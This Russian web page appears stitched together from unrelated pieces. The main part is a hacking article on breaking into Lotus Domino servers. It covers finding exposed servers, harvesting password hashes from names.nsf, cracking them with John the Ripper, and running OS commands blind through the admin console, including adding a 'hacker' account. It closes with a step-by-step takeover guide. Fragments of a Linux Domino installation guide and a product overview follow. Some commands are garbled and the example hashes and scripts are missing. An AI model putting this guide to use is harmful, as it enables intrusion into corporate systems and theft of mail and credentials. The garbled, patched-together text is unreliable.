Ключи запуска lotus notes
Привет всем читателям. На этот раз я немного уйду в сторону от Oracle и расскажу про другое, не менее распространенное в корпоративной среде приложение – Lotus Domino. Domino – это такое огромное клиент-серверное приложение, совмещающее в себе и почтовую систему, и систему документооборота, и LDAP-хранилище, и еще множество всего, где может храниться полезная информация. Данная система может хранить огромное количество критичных данных, и сперва мы рассмотрим способы получения административного доступа в эту систему, а потом – варианты распространения своих привилегий на сам сервер, где установлено это приложение. Особенно важным является тот факт, что система довольно часто имеет внешние интерфейсы подключения доступные из интернета, что позволяет, используя представленные в статье методики, получить полный доступ к внутренним серверам компании через уязвимости системы Lotus Domino. Интересно? Тогда поехали!
Описание
Где обитают лотусы?
Nmap –sV 172.212.13.0.24 –p 80
На самом деле гораздо эффективнее будет воспользоваться методикой Google Hack и найти множество Lotus-серверов в интернете, используя простейший запрос inurl:homepage.nsf. В результате этого запроса нам откроются ссылки на тысячи потенциальных серверов Lotus. Сразу предупрежу тебя, чтоб ты даже не пытался тренироваться на этих серверах, так как у Лотуса очень навороченная и удобная система протоколирования всех запросов, и вычислить злоумышленника не составит труда.
Осмотр пациента
Итак, начнем анализ подопытного. Обычно при попытке обращения к корневой директории Lotus-сервера мы получаем окошко с запросом аутентификации, что сразу же отпугивает неопытных хакеров. Очень вероятно, что администратор установил запрос аутентификации только на обращение к корневой папке, а все остальные ресурсы остались открыты. Что же там за ресурсы могут быть, и чем они нам полезны?
Загадочный .nsf
Если кратко, то Lotus хранит всю информацию в контейнерах собственного формата с расширением nsf. Данный контейнер представляет собой набор данных и формат их представления. Если говорить проще, то каждый nsf ресурс – это небольшой отдельный сайт со своей базой данных. Собственно, этих самых nsf-файлов может быть на сервере огромное количество, причем как стандартных, так и разработанных специально под нужды компании. Вот список наиболее популярных nsf-файлов, которые могут присутствовать:
/names.nsf
/admin4.nsf
/admin.nsf
/alog.nsf
/domlog.nsf
/catalog.nsf
/certlog.nsf
/dba4.nsf
/homepage.nsf
/log.nsf
Про остальные файлы ты можешь узнать, скачав, к примеру, утилиту dominohunter, к которой прилагается список стандартных nsf-файлов. Ко всем этим файлам есть описания, и во многих из них есть интересные нам данные, но начнем мы с самого главного файла – names.nsf. Данный ресурс представляет собой полную базу данных по сотрудникам, их почтовым адресам и по множеству другой полезнейшей информации, такой как: версии ОС пользователей, версии программного обеспечения Lotus Notes и прочие данные. А знаешь, что самое интересное? Этот ресурс на большинстве серверов доступен анонимному пользователю!
Векторов дальнейшей атаки на самом деле огромное множество, учитывая то, что у нас есть такая интересная информация. Вот лишь часть из них.
Повышение привилегий
Итак, как я уже говорил, хэши в Lotus бывают двух видов:
1. Обычные (32 символа в HEX) пример:
2. C использованием случайных значений (22 символа начинающиеся с G) пример:
Для расшифровки обычных хэшей необходимо на вход программе JohnTheRipper подать файл HASH.txt вида:
Имя пользователя:хэш
Имя пользователя:хэш
.
.
Имя пользователя:хэш
Запускать переборщик необходимо со следующими параметрами:
./john HASH.txt --format=lotus5
Имя пользователя:(хэш)
Имя пользователя:(хэш)
.
.
Имя пользователя:(хэш)
Запускать переборщик необходимо со следующими параметрами:
./john HASH.txt --format=dominosec
Вот, собственно, и все, напоследок могу только порекомендовать набрать разных словарей и запустить перебор параллельно брутом и словарями для большей эффективности. В случае успеха, что встречается довольно часто, так как парольные политики в Domino по умолчанию отключены, мы получим список расшифрованных паролей пользователей системы Lotus Domino на Web-доступ. Пусть там будут и не все пользователи, но все же шансы, что из тысячи хоть кто-нибудь расшифруется, достаточно велики.
Администрирование
Итак, предположим, что мы расшифровали пароль администратора (если нет, сидим и перебираем дальше :)) – это есть очень хорошо. Теперь перед нами открываются просторы доступа ко всем находящимся на сервере nsf-файлам, которых, как я уже говорил, предостаточно. Интересный ресурс – log.nsf, на нем можно найти и посмотреть все логи доступа к серверу по различным критериям и узнать, к примеру, каким браузером пользуются пользователи. Также интерес представляет catalog.nsf. Доступ к почте каждого сотрудника можно получить, обратившись к директории /mail/логинсотрудника.nsf.
Но самый большой интерес для нас представляет ресурс webadmin.nsf (servername/webadmin.nsf). Это админка Web-сервером Lotus Domino со всеми вытекающими последствиями. Имея доступ к ней, можно создавать изменять и удалять пользователей, назначать для них группы и выполнять всевозможные административные задачи. Получение административного доступа к системе Lotus Domino практически всегда означает получение доступа к ОС, если не используются расширенные настройки безопасности, такие как: пароль на консоль (иногда встречается) или ограничение прав учетной записи в ОС (на практике крайне редко). Стоит отметить, что в ОС Windows по умолчанию доступ будет получен под учетной записью Local System, так как служба запущена от имени Local System, а в Unix доступ будет получен от имени непривилегированной учетной записи.
Итак, что же предоставляет нам webadmin.nsf? В этом приложении есть различные опции по управлению сервером, в том числе и ряд оболочек для выполнения сервисных команд для репликации и прочих административных задач. Для выполнения сервисных команд можно использовать две различные консоли: Quick Console и Live Console. Но не тут-то было. Эти консоли – не то же самое, что консоль в ОС, так как набор команд там строго определен и заточен под задачи LOTUS.
Оболочка Live Console
Наиболее удобная оболочка для выполнения называется Live Console, но, к сожалению, ее использование обусловлено двумя проблемами. Первая проблема заключается в том, что данная консоль не включена по умолчанию и для ее включения необходимо перезагружать сервер, что не очень хорошо. Вторая особенность – данная оболочка работает по своему протоколу с использованием порта 2050, и с большой вероятностью в случае подключения через интернет данный порт будет зафильтрован. Таким образом, данный вариант не является универсальным, так что идем дальше.
Оболочка Quick Console
Второй вариант – это использование урезанной версии консоли – Quick Console. Данная консоль имеет неприятную особенность – результат выполнения команды не отображается, таким образом, мы можем выполнять команды только вслепую. Ладно если нам нужно просто выполнить команду, в которой мы уверены, но если нам захочется прочитать содержимое файлов – тут без трюков не обойтись. На самом деле проблема очень похожа на Blind SQL Injection, так что и методы надо применять похожие, только с учетом особенностей.
Получение данных
Давай проанализируем, что мы вообще можем делать в административном интерфейсе, чтобы понять, что из этого нам поможет для получения результатов команд. Первое, что бросается в глаза – это меню Files, где, как хотелось бы верить, мы сможем читать файлы, но и тут нас поджидает неприятная участь. Читать файлы нельзя, можно только делать листинг директорий и видеть имена файлов. И только если у них расширение .nsf.
Первая сумасшедшая идея, которая приходит в голову – это разбивать на строки вывод результата выполнения команды и создавать файлы, в названии которых будет кусок результата выполнения команды, а расширением будет .nsf. Таким хитрым и довольно извращенным способом мы будем получать информацию о результате работы команды. Для этого необходимо последовательно запустить две команды (спасибо Алексею Синцову за набросанный скрипт):
load cmd /c "dir /D /B > sh2kerr.out"
load cmd /c "FOR /F "delims %i".nsf"
Первая команда сохраняет результат команды (в нашем примере это команда DIR) в файл sh2kerr.out. Вторая команда разбивает результат вывода первой и создает необходимые файлы. В результате в папке C:\lotus\domino\sh2kerr\ мы увидим множество файлов, в именах которых будет результат выполнения команд.
На самом деле есть способ гораздо проще, но при этом будет вероятность, что он не заработает там, где безопасно расставлены права. На практике мне такого не встречалось, так что можно использовать этот метод практически везде. Метод очень прост и заключается в следующем – необходимо найти директорию, в которую мы можем писать, и которая будет доступна через Web-интерфейс. Такая директория есть по умолчанию в версиях 6.5 и 8.5 (в других она, скорее всего, тоже присутствует, но подтвердить нет возможности). В ОС Windows данная директория в результате установки по умолчанию выглядит следующим образом:
Альтернативный сценарий выполнения команд.
Кроме трюка с Load есть еще один способ выполнения команд – через так называемый планировщик. Находится он в меню Server->Status->Schedules->Programs. Используя этот планировщик, можно также запускать любые команды в ОС.
Клиент-серверное взаимодействие
Выше мы рассматривали вопросы безопасности Web-доступа к системе Lotus Domino, но есть еще и другой протокол (NRPC на 1352 порту), по которому можно подключиться к системе. Этот протокол позволяет подключаться к Lotus Domino серверу, используя клиентские программы Lotus Designer (разработчики), Lotus Notes (простые сметные) и Lotus Administrator (спасибо, кэп). Для подключения к серверу клиент должен иметь некое подобие сертификата, в системе Lotus Domino это файл с расширением ID. Помимо этого файла для подключения необходимо иметь и пароль к нему.
Данный пароль никогда не передается по сети и используется для расшифровки ID-файла, а аутентификация уже происходит при помощи расшифрованной информации. Итак, для того, чтобы подключиться к системе с использованием клиентского приложения, нам необходимо получить 2 вещи: ID-файл и пароль к нему. Выглядит сложнее, чем в случае с Web, но не безнадежно.
Для того, чтобы получить ID-файл, можно воспользоваться уязвимостью раскрытия информации в службе Lotus Domino. Уязвимость заключается в возможности получения ID-файла пользователя, в случае, если известен его логин. Логин можно либо подобрать, либо воспользоваться уязвимостью в names.nsf, описанной выше. Второй способ получения ID-файла – попытаться откопать его в том же names.nsf. Очень часто в профиле пользователя, доступном без аутентификации через Web-интерфейс, есть ссылка на скачку его ID-файла.
STEP BY STEP HOWTO
Итак, подведем итоги и создадим небольшой гайд по получению доступа к Lotus Domino.
Для получения доступа к серверу выполняем следующие действия:
Если есть Web-доступ:
1. Запускаем утилиту raptor_dominohash и собираем хэши паролей:
./raptor_dominohash 192.168.0.202
2. Сохраняем хэши в формате, приведенном в статье;
3. Запускаем JohnTheRipper и подаем на вход список имен пользователей и хэшей:
./john HASH.txt --format=lotus5
5. В Quick Console набираем команду, добавляющую в ОС нового пользователя:
load cmd /c net user hacker iamstupid /add
6. Чтобы проверить, выполнилась ли команда, выводим список текущих пользователей и сохраняем вывод команды в файл:
load cmd /c net user > C:\Lotus\Domino\data\domino\html\download\filesets\1.txt
7. Если не получилось, пробуем выполнить команду через Program.
Если есть NRPC-доступ:
- Берем список пользователей из names.nsf (или подбираем) и пытаемся получить ID;
- В случае получения ID пытаемся расшифровать пароль при помощи утилит указанных в статье;
- В случае успеха пытаемся подключиться при помощи Lotus Administrator, а далее начинаем с пункта 5 предыдущего варианта.
И что потом?
WARNING
Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несет!
Хорошим тоном считается, что сервер пингуется по DNS имени. При этом неважно DNS настроен или имя хоста прописано в файле hosts. Пусть сервер Lotus Domino будет иметь запись debian1 с IP 172.16.16.63 в файл hosts:
Если при запуске от sudo Вы получаете ошибку "/domino/tools/-E: unexpected operator" перейдите в sudo -i
Вводим /srv/notesdata. Нажимаем Enter.
Удобнее настраивать Lotus Domino из графического интерфейса. Поэтому, находим машину с установленным Lotus. Должна быть установлена программа "Remote Server Setup". Выбираем ее.
Итак, есть Lotus Domino 6.5 на Windows Server в папке D:\Lotus\Domino\Data. Предварительно бекапим содержимое папки /srv/notesdata в /root/backup_install. Копируем содержание D:\Lotus\Domino\Data в /srv/notesdata с правами и группы notes:notes.
Вот модифицированный скрипт запуска Lotus Domino: Создаем скрипт запуска Lotus Domino c таким содержанием:
Обязательно проверяйте права на файлы и папки в рабочей директории Lotus Domino!
Копируем Notes.ini с Windows Server из папки C:\Lotus\Domino на Linux в папку /srv/notesdata
Изменяем пути на правильные.
С параметром FileDlgDirectory я не знаю пока что делать. Он у меня стоит по умолчанию.
Посмотрим что будет.
Необходимо скопировать nodelock, который создался при установке Lotus Domino, в папку с текущей базой данных. На всякий случай также скопировал Domino8.lic.
В notes.ini необходимо дописать строчку
В файле /etc/security/limits.conf необходимо дописать:
You need also to create a password file for Domino, if your Domino doesn't use a password just leave /srv/notesdata/.domino.pwd file empty
Now, create symlinks to start the Domino server at runlevels 3 and 5 with the following commands:
And create symlinks to stop the server at runlevels 1 (single-user), 0 (halt) and 6 (reboot) with the following commands:
Первый запуск делаем под пользователем notes
Скорость открытия базы данных на 100 мбит сетевой карте составляет 5-8 секунд,а на 1Гб - 1 секунду (остальные параметры: CPU 4x 1,6 ГГц, 3 Гб ОЗУ)
Рабочая область применяется для отображения ссылок на все необходимые базы данных (приложения) при повседневной работе. При первом открытии любой базы данных, она помещается на рабочую область. При удалении ссылки на базу с рабочей области, сама база удалена не будет.
Рабочая область состоит из окна со ссылками на приложения и закладок для организации приложений по категориям. Закладки можно добавлять и удалять. Ссылки на приложения можно перемещать на другие закладки путем перетаскивания.
Существует много способов навести порядок на рабочем столе. Сегодня мы расскажем о новой версии решения, которое вот уже 20 лет пользуется успехом на рынке офисного ПО, — IBM Lotus Notes/Domino 8. Обзор продукта и дополнительные видеоролики выложены под катом.
Lotus Notes является платформой для построения приложений автоматизации управленческих и документных процессов. Особенностью системы является объектно-ориентированная архитектура, благодаря которой возможно создание информационных систем, автоматизирующих работу со сложноструктурированными данными и неформализованными динамическими процессами. В терминологии IBM Notes — это программное обеспечение клиентской рабочей станции, а Domino — программное обеспечение сервера.
Что включает в себя IBM Lotus Notes 8?
Читайте также: